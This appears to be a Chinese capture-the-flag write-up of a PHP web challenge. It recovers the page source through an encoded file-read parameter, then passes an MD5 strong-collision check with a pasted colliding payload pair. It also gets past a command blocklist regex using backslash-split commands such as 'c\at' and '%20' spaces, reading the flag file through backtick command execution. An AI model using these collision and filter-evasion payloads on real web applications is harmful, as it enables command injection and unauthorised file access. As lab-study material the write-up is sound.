比较简单

url一看就存在一个cmd 和 base64
我们尝试给cmd传递参数 但是没有效果
所以我们就去看看 img里面是什么
直接放到瑞士军刀看看

知道了加密方法 我们去看看能不能返回 index.php代码

TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

返回了 接下俩就是代码审计了
- error_reporting(E_ALL || ~ E_NOTICE);
- header('content-type:text/html;charset=utf-8');
- $cmd = $_GET['cmd'];
- if (!isset($_GET['img']) || !isset($_GET['cmd']))
- header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
- $file = hex2bin(base64_decode(base64_decode($_GET['img'])));
-
- $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
- if (preg_match("/flag/i", $file)) {
- echo '
'; - die("xixiï½ no flag");
- } else {
- $txt = base64_encode(file_get_contents($file));
- echo "
"; - echo "
"; - }
- echo $cmd;
- echo "
"; - if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
- echo("forbid ~");
- echo "
"; - } else {
- if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
- echo `$cmd`;
- } else {
- echo ("md5 is funny ~");
- }
- }
-
- ?>
- body{
- background:url(./bj.png) no-repeat center center;
- background-size:cover;
- background-attachment:fixed;
- background-color:#CCCCCC;
- }
这里主要的是下面这段
- if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
- echo("forbid ~");
- echo "
"; - } else {
- if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
- echo `$cmd`;
- } else {
- echo ("md5 is funny ~");
- }
- }
过滤cmd 如果a!=b 并且md5(a)=md5(b)
就执行cmd
这里主要是MD5强碰撞 网上一搜一大把
直接偷个payload
- a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
- &b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
url加密主要是防止识别不到
然后就是cmd的过滤了
可以直接在过滤中加 \ 绕过
例如 c\at 就会识别为cat
空格我们可以使用 %20/来绕过
我们首先直接看看当前文件
l\s

然后看看根目录 dir%20/

直接读取flag即可
c\at%20/fl\ag
